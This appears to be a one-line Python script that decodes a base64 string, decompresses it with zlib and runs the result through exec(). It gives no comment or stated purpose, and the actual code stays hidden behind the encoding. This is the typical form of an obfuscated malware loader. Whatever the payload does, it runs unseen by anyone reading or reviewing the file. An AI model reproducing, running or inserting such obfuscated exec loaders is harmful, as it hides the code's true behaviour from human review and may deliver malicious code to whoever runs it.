exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrdMMIau1GVdrCDiQUQEd28i0qbjGpomIclqVfzvbsjiZYb35s2bDz15FxKNTo2YxLfRvei7iMtGxBT2KomkJyRvLtCZaktDZ3cIi5qvSZXC1yFWsS3NsiQ4E0e8eby5f91sn26vH3jWSeWsRZUAWC2T8tLughuldkws6tXqgmdVH7AbSYWzQp+yfZ4vo0H0cM6Jactacm99p0ZgV3dMRBlQfUDD+XP9Qob2iA0nn+/aIDVoYeCX5mA3nPxXTwvNCc6oIF8uB1Ru8gFjhPIE2S+bTA6YleKHRbaOv5z8AVevYdg=')[0])))